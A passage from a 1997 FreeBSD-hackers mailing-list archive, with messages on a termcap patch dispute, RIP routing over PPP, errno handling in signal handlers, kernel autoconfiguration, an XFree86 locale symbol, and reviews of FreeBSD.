19, 97 05:09:52 pm" To: gabriele@docenti.ing.unipi.it (Gabriele Cecchetti) Date: Fri, 19 Sep 1997 14:24:12 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Operating-System: FreeBSD 2.2.2-RELEASE #0: Wed Jul 9 01:01:24 CDT 1997 X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > Another (good) review about FreeBSD, this one by PcWeek: > > http://www8.zdnet.com/pcweek/reviews/0908/08free.html it's good to see good press for FreeBSD, but I must admit, this article left me wondering how to get to the next page of it... kind of abrupt ending, with absolutely no performance reviewing, also the article was kind of dry reading. jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28PW voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ From owner-freebsd-hackers Fri Sep 19 12:33:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA02714 for hackers-outgoing; Fri, 19 Sep 1997 12:33:35 -0700 (PDT) Received: from mailout02.btx.dtag.de (mailout02.btx.dtag.de [194.25.2.150]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id MAA02707 for ; Fri, 19 Sep 1997 12:33:29 -0700 (PDT) Received: from fwd11.btx.dtag.de [194.25.2.171] by mailout02.btx.dtag.de with smtp id 0xC8mm-0002KJ-00; Fri, 19 Sep 1997 21:32:17 +0200 Received: (053235370-0001(btxid)@[193.159.66.235]) by fwd11.btx.dtag.de with (S3.1.29.1) id ; Fri, 19 Sep 97 21:32 MET DST Message-Id: Date: Fri, 19 Sep 97 21:32 MET DST To: hackers@freebsd.org Subject: Submission: patch for termcap, the second X-Mailer: T-Online eMail 2.0 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8BIT X-Sender: 053235370-0001@t-online.de (Klaus-Juergen Wolf) From: Yanestra@t-online.de (Yanestra) Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Dear FreeBSD people, it has shown that my last patch for /usr/share/termcap was not quite useful. It appears that someone had introduced a new token to termcap, "@7". This token is documented somewhere in the NCurses docs, which is in my personal opinion totally irrelevant. The old standard says that "@7" should be named "kH", and I see no reason why this should be changed, for the sake of many programs which rely on it. This is the patch for termcap as in FreeBSD 2.2.2. If you see any problems, read the termcap(5) manual page first, then throw away the brain damaged garbage some people have written on that topic, esp. those from the NCurses team. --cut-here-- 233c233 < :@7=\E[4~:kh=\E[1~:kI=\E[2~:k0=\E[10~:\ --- > :kH=\E[4~:kh=\E[1~:kI=\E[2~:k0=\E[10~:\ 252c252 < :@7=\E[4~:kh=\E[1~:kI=\E[2~:k0=\E[10~:\ --- > :kH=\E[4~:kh=\E[1~:kI=\E[2~:k0=\E[10~:\ 302c302 < :kh=\EOH:@7=\EOF:\ --- > :kh=\EOH:kH=\EOF:\ 541c541 < :@7=\E[Y:AL=\E[%dL:DC=\E[%dP:DL=\E[%dM:DO=\E[%dB:\ --- > :kH=\E[Y:AL=\E[%dL:DC=\E[%dP:DL=\E[%dM:DO=\E[%dB:\ 1252c1252 < :ku=\E[A:kD=\177:@7=\E[146q:@8=\r:\ --- > :ku=\E[A:kD=\177:kH=\E[146q:@8=\r:\ 2375c2375 < :kN=\E[G:kP=\E[I:@7=\E[F:kI=\E[L:kD=\177:kB=\E[Z:\ --- > :kN=\E[G:kP=\E[I:kH=\E[F:kI=\E[L:kD=\177:kB=\E[Z:\ 2578c2578 < :@7=\E[K:kh=\E[H:kN=\E[Oq:kP=\E[Or:kI=\EOn:kD=\ED:\ --- > :kH=\E[K:kh=\E[H:kN=\E[Oq:kP=\E[Or:kI=\EOn:kD=\ED:\ 3885c3885 < :@7=\E[F:\ --- > :kH=\E[F:\ --cut-here- Ciao jay From owner-freebsd-hackers Fri Sep 19 12:47:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA03251 for hackers-outgoing; Fri, 19 Sep 1997 12:47:16 -0700 (PDT) Received: (from jmb@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA03244; Fri, 19 Sep 1997 12:47:13 -0700 (PDT) From: "Jonathan M. Bresler" Message-Id: <199709191947.MAA03244@hub.freebsd.org> Subject: IBM ThinkPad 365X To: freebsd-hackers Date: Fri, 19 Sep 1997 12:47:12 -0700 (PDT) Cc: freebsd-mobile X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk anyone used an IBM Think Pad 365X for FreeBSD? it is not listed in hte PAO web pages. hmm... http://www.jp.freebsd.org/PAO/latest/docs/LAPTOP_SURVEY/LTS.txt i missed out on purchasing a 560 ;( and i am looking for a replacement. model 560 365X cost $1k $1k cpu p100 p133 ram 8MB 8MB disk 810MB 1.08GB screen 11.3" DSTN 11.3" DSTN res 800x600 800x600 floppy ext int weight 4lbs 6lbs thanks, jmb -- Jonathan M. Bresler FreeBSD Postmaster jmb@FreeBSD.ORG FreeBSD--4.4BSD Unix for PC clones, source included. http://www.freebsd.org/ PGP 2.6.2 Fingerprint: 31 57 41 56 06 C1 40 13 C5 1C E3 E5 DC 62 0E FB From owner-freebsd-hackers Fri Sep 19 12:53:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA03630 for hackers-outgoing; Fri, 19 Sep 1997 12:53:06 -0700 (PDT) Received: from ingenieria ([168.176.15.11]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id MAA03619 for ; Fri, 19 Sep 1997 12:52:55 -0700 (PDT) Received: by ingenieria (SMI-8.6/SMI-SVR4) id PAA21817; Fri, 19 Sep 1997 15:32:57 -0400 Date: Fri, 19 Sep 1997 15:32:56 -0400 (EDT) From: Yonny Cardenas To: dk+@ua.net cc: hackers@freebsd.org Subject: Re: Serials links with RIP (routed) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by hub.freebsd.org id MAA03626 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 19 Sep 1997, Dmitry Kohmanyuk wrote: >> A link ppp is multicasting. RIPv2 support multicating in links >> point-to-point, but by default Internet Discovery Protocol advertisements >> nor solicitations are sent over point-to-point links (e.g. PPP). >> The following messages show Routed: >> Add interface ppp0 200.20.30.1 --> 9.30.20.200/32 > | NO_RDISC_ADV> >the ppp interface supports multicast: >ppp0: flags=8051 mtu 1500 >(on my system) Is OK, I am usig FreeBSD 2.2.1 and gated 3.5Beta3. >I was unable to make RIPv2 (which uses multicast) to work over tun >devices; I have never tried it over ppp0, so I am not sure. Two or more routers conected with serial links with PPP, all run ROUTED, the routing is OK. >Try gated; it can support RIPv2 better. >> Why 9.30.20.200/32 ?. It=B4s 200.20.30.9.=20 >it looks to me that routed's support of RIP2 is broken. >I can be wrong. Which OS version you are using? what is your >network configuration? My network configuration is OK, ifconfig -au show : ppp0: flags=8051 mtu 1500 inet 200.20.30.1 --> 200.20.30.9 netmask 0xffffff00 >if you write to a public list like this, you need to supply as >much information as you can; ifconfig -au , /etc/rc.conf (relevant >lines), etc. I am using to serial link the program "pppd" of the FreeBSD 2.2.1 Distribution. The box have an interface ethernet, in the /etc/sysconfig: network_interfaces=" ed0 ppp0 lp0" ifconfig_ed0="inet 168.176.1.5 netmask 255.255.0.0" router="routed" router_flags=" -smt -P send_solicit rdisc_adv" gateway="YES" The topology : I have two box how routers, one run gated (A) and other run routed (B), conected with link ethernet, the router (A) anounnce OK to other neighbor EGP, all its paths. ------ EGP -------9 RIP 1-------- RIP | |----... --------| A |**************| B |-------- ------ ------- -------- 200.20.30 >> This link no interchange routing information. >> Need configuration especial in file /etc/gateways ? How ? >you need it for routed; try gated, and I have seen you can write >gated.conf ;-) Gated write in file trace: Sep 8 13:16:50 Sep 8 13:16:50 rip_recv: ignoring RIP Response packet from 200.20.30.1 +520 -not on same net Why ? >the format for /etc/gateways is described in routed man page. A file /etc/gateways: net 200.20.10.0 gateway 200.20.10.9 metric 10 active if=ppp0 ripv2 send_solicit,rdisk_adv,redirect_ok It´s OK ? THANKS FOR YOUR HELP. ------------------------------------------------------------------------- YONNY CARDENAS B. Systems Engineer || || ||| || Universidad Nacional de Colombia || || || | || Email : yonny@ingenieria.ingsala.unal.edu.co ||||||| || ||| From owner-freebsd-hackers Fri Sep 19 13:03:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA04388 for hackers-outgoing; Fri, 19 Sep 1997 13:03:21 -0700 (PDT) Received: from usr03.primenet.com (tlambert@usr03.primenet.com [206.165.6.203]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA04342; Fri, 19 Sep 1997 13:03:12 -0700 (PDT) Received: (from tlambert@localhost) by usr03.primenet.com (8.8.5/8.8.5) id NAA29627; Fri, 19 Sep 1997 13:02:33 -0700 (MST) From: Terry Lambert Message-Id: <199709192002.NAA29627@usr03.primenet.com> Subject: Re: Bug in malloc/free To: nsmart@iona.com (Niall Smart) Date: Fri, 19 Sep 1997 20:02:33 +0000 (GMT) Cc: tlambert@primenet.com, Don.Lewis@tsc.tdk.com, hackers@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG In-Reply-To: from "Niall Smart" at Sep 19, 97 05:58:18 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > } We claim to be sort of POSIX conformant. Perhaps this is enough. We > > > } aren't actually POSIX conformant. All the above "safe" routines may > > > } clobber the global `errno'. > > > > > > Which is why I save and restore errno in signal handlers. > > > > Perhaps this should be done by the trampoline code on the user's > > behalf... > > Perhaps that would encourage people to write non-portable code. When a read or write fault occurs on page zero in a program running on SVR4, rather than crashing, the map the page and note the effect. There is a kernel tunable that can turn this off, but a great many legacy programs dereference NULL pointers, expecting a NULL pointer to be identical to a NULL string. The default for SVR4 is arguably incorrect, but it follows the principle of least astonishment, and allows legacy code to run. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Sep 19 13:06:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA04619 for hackers-outgoing; Fri, 19 Sep 1997 13:06:19 -0700 (PDT) Received: from usr03.primenet.com (tlambert@usr03.primenet.com [206.165.6.203]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA04612 for ; Fri, 19 Sep 1997 13:06:17 -0700 (PDT) Received: (from tlambert@localhost) by usr03.primenet.com (8.8.5/8.8.5) id NAA29936; Fri, 19 Sep 1997 13:06:08 -0700 (MST) From: Terry Lambert Message-Id: <199709192006.NAA29936@usr03.primenet.com> Subject: Re: Higher-level kernel config? To: Harlan.Stenn@pfcs.com (Harlan Stenn) Date: Fri, 19 Sep 1997 20:06:07 +0000 (GMT) Cc: hackers@FreeBSD.ORG In-Reply-To: <18987.874643267@mumps.pfcs.com> from "Harlan Stenn" at Sep 19, 97 00:27:47 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I was just noticing that I have 3 or 4 customized config files here for > various FreeBSD machines, and that stuff changes in the GENERIC and LINT > files *much* more often than I change hardware in my machines. I'm curious: could there ever be a case where you would not want to include a driver for hardware that was actually in your machine? If not, then I think dynamic autoconfiguration is the way to go. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Sep 19 13:51:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA07321 for hackers-outgoing; Fri, 19 Sep 1997 13:51:18 -0700 (PDT) Received: from numachi.numachi.com (numachi.numachi.com [198.175.254.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA07313 for ; Fri, 19 Sep 1997 13:51:10 -0700 (PDT) Received: (from reichert@localhost) by numachi.numachi.com (8.8.5/8.8.5) id QAA08568; Fri, 19 Sep 1997 16:42:37 -0400 (EDT) Message-ID: <19970919164234.25786@numachi.com> Date: Fri, 19 Sep 1997 16:42:34 -0400 From: Brian Reichert To: freebsd-hackers@FreeBSD.ORG Subject: Probably an XFree question, but... Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.79 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Howdy - this is very probably not where I should ask, but I'm more familiar with the folks here... :) I've got a stock 2.2.2R system with a stock installation of the XFree86 distribution. In , we see _XFUNCPROTOBEGIN extern char *_Xsetlocale( #if NeedFunctionPrototypes int /* category */, _Xconst char* /* name */ #endif ); _XFUNCPROTOEND #define setlocale _Xsetlocale yet I cannot find any symbol with the name '_Xsetlocale' in any of the X libreabries, not are there any further references in any of X's headers. Does anyone have any guesses? I'm trying to get cute with Kanji support in the otherwise well-behaved rxvt-2.20 utility... I'm willing to believe that I've whomped a file somewhere, but I don't want to have to paw through the whole goddamn X source trying to chase that one... -- Brian Reichert reichert@numachi.com 37 Crystal Ave. #303 Derry NH 03038-1713 USA Intel architecture: the left-hand path From owner-freebsd-hackers Fri Sep 19 13:52:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA07495 for hackers-outgoing; Fri, 19 Sep 1997 13:52:52 -0700 (PDT) Received: from etinc.com (et-gw-fr1.etinc.com [204.141.244.98]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA07486 for ; Fri, 19 Sep 1997 13:52:46 -0700 (PDT) Received: from dbsys.etinc.com (dbsys.etinc.com [204.141.95.138]) by etinc.com (8.8.3/8.6.9) with SMTP id RAA14881; Fri, 19 Sep 1997 17:02:42 -0400 (EDT) Message-Id: <3.0.32.19970919165229.00b3f2a8@etinc.com> X-Sender: dennis@etinc.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Fri, 19 Sep 1997 16:52:29 -0400 To: jbryant@tfs.net From: dennis Subject: Re: PcWeek Review Cc: hackers@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk At 02:24 PM 9/19/97 -0500, you wrote: >In reply: >> Another (good) review about FreeBSD, this one by PcWeek: >> >> http://www8.zdnet.com/pcweek/reviews/0908/08free.html > >it's good to see good press for FreeBSD, but I must admit, this >article left me wondering how to get to the next page of it... > >kind of abrupt ending, with absolutely no performance reviewing, also >the article was kind of dry reading. Sometimes, no information with a positive tone is better than an analysis. The focus of the article was that FreeBSD was a viable option to use as an internet server...he wasnt saying it was "better" or "the best". Thinking people dont believe that benchmark crap anyway... Dennis From owner-freebsd-hackers Fri Sep 19 13:58:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA07778 for hackers-outgoing; Fri, 19 Sep 1997 13:58:29 -0700 (PDT) Received: from www.monmouth.com (www.monmouth.com [205.164.220.4]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA07769 for ; Fri, 19 Sep 1997 13:58:24 -0700 (PDT) Received: from i4got.lakewood.com (fh-ppp2.monmouth.com [205.164.221.34]) by www.monmouth.com (8.8.5/8.7.3) with ESMTP id QAA22709; Fri, 19 Sep 1997 16:54:53 -0400 (EDT) Received: (from pechter@localhost) by i4got.lakewood.com id QAA01449 (8.8.5/IDA-1.6); Fri, 19 Sep 1997 16:58:12 -0400 (EDT) From: Bill Pechter Message-ID: <199709192058.QAA01449@i4got.lakewood.com> Subject: Re: Higher-level kernel config? In-Reply-To: <199709192006.NAA29936@usr03.primenet.com> from Terry Lambert at "Sep 19, 97 08:06:07 pm" To: tlambert@primenet.com (Terry Lambert), freebsd-hackers@freebsd.org Date: Fri, 19 Sep 1997 16:58:12 -0400 (EDT) Reply-to: pechter@lakewood.com X-Phone-Number: 908-389-3592 X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > I was just noticing that I have 3 or 4 customized config files here for > > various FreeBSD machines, and that stuff changes in the GENERIC and LINT > > files *much* more often than I change hardware in my machines. > > > I'm curious: could there ever be a case where you would not want to > include a driver for hardware that was actually in your machine? If > not, then I think dynamic autoconfiguration is the way to go. > > > Terry Lambert > terry@lambert.org Sure... If you had two hard disk controllers (one for the DOS/OS2/Winxx) stuff and one for FreeBSD and you wanted to make sure the FreeBSD stuff couldn't access the dos side... (Say you were working on device drivers or the kernel and wanted to make your IDE stuff inaccessable to any BSD blowup)... I've taken the stuff out of the BIOS, but I occasionally don't use IDE or sound card drivers or serial drivers on some machines here. The sound card stuff is definitely a no-no if you're using the OSS stuff from 4Front. Bill ------------------------------------------------------------------------------ Bill Pechter | 17 Meredith Drive Tinton Falls, NJ 07724 | 908-389-3592 pechter@lakewood.com | Save computing history, give an old geek old hardware. This msg brought to you by the letters PDP and the number 11. From owner-freebsd-hackers Fri Sep 19 13:58:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA07826 for hackers-outgoing; Fri, 19 Sep 1997 13:58:43 -0700 (PDT) Received: from bcarsde4.localhost (mailgate.nortel.ca [192.58.194.74]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA07792; Fri, 19 Sep 1997 13:58:32 -0700 (PDT) Message-Id: <199709192058.NAA07792@hub.freebsd.org> Received: from bcars520.ott.bnr.ca (actually 47.128.5.188) by bcarsde4.localhost; Fri, 19 Sep 1997 16:57:18 -0400 Received: from bnr.ca by bcars520.bnr.ca id <12675-0@bcars520.bnr.ca>; Fri, 19 Sep 1997 16:56:30 -0400 Date: 19 Sep 1997 16:56 EDT To: nsmart@iona.com Cc: tlambert@primenet.com, Don.Lewis@tsc.tdk.com, hackers@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG From: "Andrew Atrens" Subject: Re: Bug in malloc/free Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In message "Bug in malloc/free", nsmart@iona.com writes: > On Fri, 19 Sep 1997, Terry Lambert wrote: > > > > } We claim to be sort of POSIX conformant. Perhaps this is enough. We > > > } aren't actually POSIX conformant. All the above "safe" routines may > > > } clobber the global `errno'. > > > > > > Which is why I save and restore errno in signal handlers. > > > > Perhaps this should be done by the trampoline code on the user's > > behalf... > > Perhaps that would encourage people to write non-portable code. Detecting changes in errno ( when there should be no change ), would be useful for debugging. Armed with this knowledge the trampoline code could `SIGCORE' the offending app, or allow it to run, I guess it depends on your religion - I for one vote for SIGCORE. In either case I think it would be nice for the trampoline code to `repair' errno. Its the robust thing to do. Andrew. > > -- > Niall Smart > Customer Engineering, > IONA Technologies. (www.iona.com) > > From owner-freebsd-hackers Fri Sep 19 14:14:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA09202 for hackers-outgoing; Fri, 19 Sep 1997 14:14:11 -0700 (PDT) Received: from lsd.relcom.eu.net (ache@lsd.relcom.eu.net [193.124.23.23]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA09197 for ; Fri, 19 Sep 1997 14:14:05 -0700 (PDT) Received: (from ache@localhost) by lsd.relcom.eu.net (8.8.7/8.8.7) id BAA03770; Sat, 20 Sep 1997 01:13:53 +0400 (MSD) Date: Sat, 20 Sep 1997 01:13:45 +0400 (MSD) From: =?KOI8-R?B?4c7E0sXKIP7F0s7P1w==?= X-Sender: ache@lsd.relcom.eu.net To: Yanestra cc: hackers@FreeBSD.ORG Subject: Re: Submission: patch for termcap, the second In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 19 Sep 1997, Yanestra wrote: > it has shown that my last patch for /usr/share/termcap was not quite useful. It > appears that someone had introduced a new token to termcap, "@7". This token is > documented somewhere in the NCurses docs, which is in my personal opinion > totally irrelevant. The old standard says that "@7" should be named "kH", and I > see no reason why this should be changed, for the sake of many programs which > rely on it. This is the patch for termcap as in FreeBSD 2.2.2. If you see any > problems, read the termcap(5) manual page first, then throw away the brain > damaged garbage some people have written on that topic, esp. those from the > NCurses team. kH is not acceptable because it means different key: "last line" which is not equal to "end" key. termcap database now officially maintained by ncurses people, namely Eric S. Raymond, and FreeBSD tries to adopt those entries when possible. Old curses/termcap project not maintained anymore in favor of ncurses which is default curses for BSD now, it is official position of old curses/termcap maintainer. -- Andrey A. Chernov http://www.nagual.pp.ru/~ache/ From owner-freebsd-hackers Fri Sep 19 14:25:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA09815 for hackers-outgoing; Fri, 19 Sep 1997 14:25:26 -0700 (PDT) Received: from usr06.primenet.com (tlambert@usr06.primenet.com [206.165.6.206]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA09810 for ; Fri, 19 Sep 1997 14:25:23 -0700 (PDT) Received: (from tlambert@localhost) by usr06.primenet.com (8.8.5/8.8.5) id OAA05639; Fri, 19 Sep 1997 14:25:11 -0700 (MST) From: Terry Lambert Message-Id: <199709192125.OAA05639@usr06.primenet.com> Subject: Re: Higher-level kernel config? To: pechter@lakewood.com Date: Fri, 19 Sep 1997 21:25:10 +0000 (GMT) Cc: tlambert@primenet.com, freebsd-hackers@freebsd.org In-Reply-To: <199709192058.QAA01449@i4got.lakewood.com> from "Bill Pechter" at Sep 19, 97 04:58:12 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > I'm curious: could there ever be a case where you would not want to > > include a driver for hardware that was actually in your machine? If > > not, then I think dynamic autoconfiguration is the way to go. > > Sure... If you had two hard disk controllers (one for the DOS/OS2/Winxx) stuff > and one for FreeBSD and you wanted to make sure the FreeBSD stuff couldn't > access the dos side... (Say you were working on device drivers or the kernel > and wanted to make your IDE stuff inaccessable to any BSD blowup)... OK, dynamic autoconfiguration with override. Although if a BSD blowup can take out an innocent disk, it's time to fix BSD instead of kludging aroun it this way. 8-(. > I've taken the stuff out of the BIOS, but I occasionally don't use IDE > or sound card drivers or serial drivers on some machines here. A truly dynamic autoconfiguration would only probe and attach these things. It would not load the code for the device proper until an open was requested on the dev node. Admittedly, this is slightly different than not probing or attaching (or, on orderly shutdown, detaching) the thing in the first place. > The sound card stuff is definitely a no-no if you're using the OSS > stuff from 4Front. Drivers which fill the same ecological niche would clearly not be loaded simultaneuosly if things were functioning correctly. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Sep 19 14:33:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA10483 for hackers-outgoing; Fri, 19 Sep 1997 14:33:52 -0700 (PDT) Received: from echonyc.com (echonyc.com [198.67.15.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA10478 for ; Fri, 19 Sep 1997 14:33:50 -0700 (PDT) Received: from localhost (benedict@localhost) by echonyc.com (8.8.7/8.8.7) with SMTP id RAA20519; Fri, 19 Sep 1997 17:33:44 -0400 (EDT) Date: Fri, 19 Sep 1997 17:33:43 -0400 (EDT) From: Snob Art Genre To: Heiko Schafberg cc: freebsd-hackers@FreeBSD.ORG Subject: Re: popper error In-Reply-To: <9709191827.AA11488@leech.mpg.uni-jena.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk 1) This should go to questions, not hackers. 2) It's probably a better idea to give inetd, or anything else rootly, full paths rather than relative. It reduces the chances of bad mistakes and security risks. 3) ls -l your popper program and send me the output. On Fri, 19 Sep 1997, Heiko Schafberg wrote: > Hallo > > I got a problem with qpopper2.4. I installed and configured like > desribed but when I make telnet host 110 I got the message: > inetd (###) cannot execute ./popper; permission denied. > I just changed the owners but it didn`t fit. > Does somebody can resolve the problem. > thank`s > Please answer to my mail adressd directly . > > Heiko > hei@leech.mpg.uni-jena.de > Ben "You have your mind on computers, it seems." From owner-freebsd-hackers Fri Sep 19 15:13:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA12899 for hackers-outgoing; Fri, 19 Sep 1997 15:13:27 -0700 (PDT) Received: from seabass.progroup.com (catfish.progroup.com [206.24.122.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA12893 for ; Fri, 19 Sep 1997 15:13:23 -0700 (PDT) Received: from tuna (tuna.progroup.com [206.24.122.5]) by seabass.progroup.com (8.7.5/8.7.3) with SMTP id PAA15739; Fri, 19 Sep 1997 15:13:07 -0700 (PDT) Message-ID: <3422F8B6.40F2@ProGroup.com> Date: Fri, 19 Sep 1997 15:12:06 -0700 From: Craig Shaver Organization: Productivity Group, Inc. X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 i86pc) MIME-Version: 1.0 To: hackers@freebsd.org Subject: Re: PcWeek Review + webweek article References: <3.0.32.19970919165229.00b3f2a8@etinc.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk dennis wrote: > > At 02:24 PM 9/19/97 -0500, you wrote: > >In reply: > >> Another (good) review about FreeBSD, this one by PcWeek: > >> > >> http://www8.zdnet.com/pcweek/reviews/0908/08free.html > > > >it's good to see good press for FreeBSD, but I must admit, this > >article left me wondering how to get to the next page of it... > > > >kind of abrupt ending, with absolutely no performance reviewing, also > >the article was kind of dry reading. > > Sometimes, no information with a positive tone is better than an analysis. The > focus of the article was that FreeBSD was a viable option to use as an > internet > server...he wasnt saying it was "better" or "the best". Thinking people > dont believe > that benchmark crap anyway... > > Dennis Check out the recent webweek article on "Yahoo's Bandwidth". Seems they are using FreeBSD and getting very good results. Very positive comments. http://www.webweek.com/current/infrastructure/19970915-yahoo.html -- Craig Shaver (craig@progroup.com) (415)390-0654 Productivity Group POB 60458 Sunnyvale, CA 94088 From owner-freebsd-hackers Fri Sep 19 15:28:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA14022 for hackers-outgoing; Fri, 19 Sep 1997 15:28:53 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA13956; Fri, 19 Sep 1997 15:28:21 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id HAA17463; Sat, 20 Sep 1997 07:57:53 +0930 (CST) Message-ID: <19970920075752.19257@lemis.com> Date: Sat, 20 Sep 1997 07:57:52 +0930 From: Greg Lehey To: Bruce Evans Cc: phk@critter.freebsd.dk, atrens@nortel.ca, freebsd-bugs@freebsd.org, gram@cdsec.com, hackers@freebsd.org, peter@spinner.dialix.com.au Subject: Re: Bug in malloc/free References: <199709191024.UAA12065@godzilla.zeta.org.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709191024.UAA12065@godzilla.zeta.org.au>; from Bruce Evans on Fri, Sep 19, 1997 at 08:24:02PM +1000 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Fri, Sep 19, 1997 at 08:24:02PM +1000, Bruce Evans wrote: >>> STDC only allows operations on auto variables and assignment to static >>> variables of type sig_atomic_t. We aren't STDC conformant either. > ^volatile >>> Operations on auto floating point variables may corrupt the floating >>> point state. This isn't a problem in practice, since nothing useful >>> can be done using only auto floating point variables. >> >> You could calculate pi... :-) > > I was going to say that this is more useless than usual since there is > no way to output the results. JOOI, what does a pi calculator need a signal handler for? Greg From owner-freebsd-hackers Fri Sep 19 15:36:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA14845 for hackers-outgoing; Fri, 19 Sep 1997 15:36:17 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA14836; Fri, 19 Sep 1997 15:36:10 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id IAA17509; Sat, 20 Sep 1997 08:05:54 